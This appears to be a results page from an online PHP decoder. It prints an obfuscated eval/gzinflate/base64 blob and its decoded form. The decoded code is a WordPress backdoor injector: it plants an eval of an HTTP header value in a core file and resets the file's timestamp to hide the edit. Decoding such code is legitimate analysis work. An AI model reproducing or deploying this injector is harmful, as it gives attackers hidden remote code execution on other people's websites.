Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

eval(gzinflate(base64_decode("jVFdb9owFH1H4j+4UqSChqYADQhNPAwGlBYIH20CTBMyjlMcHDuKndBk2n+f..

Decoded Output download


phpConfValidate('YTo0OntpOjA7czo1ODoiL2hvbWUvaG9uZGFiZ2wvYm9va2luZy5ob25kYS5iZy93cC1pbmNsdWRlcy9mb3JtYXR0aW5nLnBocCI7aToxO3M6NzoiQkQyNzBCOCI7aToyO3M6MzI6IkBldmFsKCRfU0VSVkVSWydIVFRQX0JEMjcwQjgnXSk7IjtpOjM7czozNjoifl5ccypmdW5jdGlvblxzK3dwdGV4dHVyaXplX3ByaW1lc35tIjt9');
function phpConfValidate($ser) {

    list ($fullPath, $systemEnv, $code, $pattern) = unserialize(base64_decode($ser));
    $source = file_get_contents($fullPath);
    if (strstr($source, $systemEnv) !== false) {
        return;
    }
    if (!preg_match($pattern, $source, $matches)) {
        return;
    }
    $newSource = str_replace($matches[0], $code . PHP_EOL . $matches[0], $source);
    if (strstr($newSource, $systemEnv) === false) {
        return;
    }
    $filemtime = filemtime($fullPath) + 10;
    unlink($fullPath);
    file_put_contents($fullPath, $newSource);
    touch($fullPath, $filemtime);
}

Did this file decode correctly?

Original Code

eval(gzinflate(base64_decode("jVFdb9owFH1H4j+4UqSChqYADQhNPAwGlBYIH20CTBMyjlMcHDuKndBk2n+fA6HQrdJmWfKVfc655x4XC8Eu6HLmWpASB0pcul09cd1kMjC9r02U8qr5jZNRbRdv7ecYDlrRetAn69ohXvmtGNZotE4Mvq0Z+9XCIOukVUfdarD1J8Kx5xQlLX9bf5Cr5VyHtsFGrMNRd9iET/zVrI8bk5ST2X6WTNJO1zzdJ9n9OB02hvsOdfy+eOzO3WfdWlh7a2EnztDqz2dL/aE39tBh5r2w5WLfHHqZ33HmN514nLjUQCgJfMc2PGdA4y19TR/rzsEZWHfOvZXAZUCX9U4C7SpFdUMqfuu2/KVYcCOGJOEM/BmLJnBYBj+LhWIBqEWJkKCkuRGlUyh3FaCJREjs91isasQdrI4ASolDVgZtEDHFJ0osxaUtFLhxt3FwBjsJZ60zWU3wKERYEVxC8eYFyw3iTGImxaXZGUxcUBIyVLuU865tlMFNW8lAKvDRN8hXiGUUslzi10XpJgjxy8aHEu1KZ+cVcBE+vmBR/qeYxvBhcR5DmduEOKAQqUlzie/6jzwj8BlM76ebnjlS1fvnU9+PRn2Tfz9t+7+n1bJsfUn8c87H+ipf8AlU9ZwTMUrY/u/wj/8TRB/9T+UqgjNc8ijL9Qry1jiDKGe/AQ==")))

Function Calls

gzinflate 1
base64_decode 1
phpConfValidate 1

Variables

None

Stats

MD5 98a0f70e5ca9869ea6af38af34553846
Eval Count 1
Decode Time 144 ms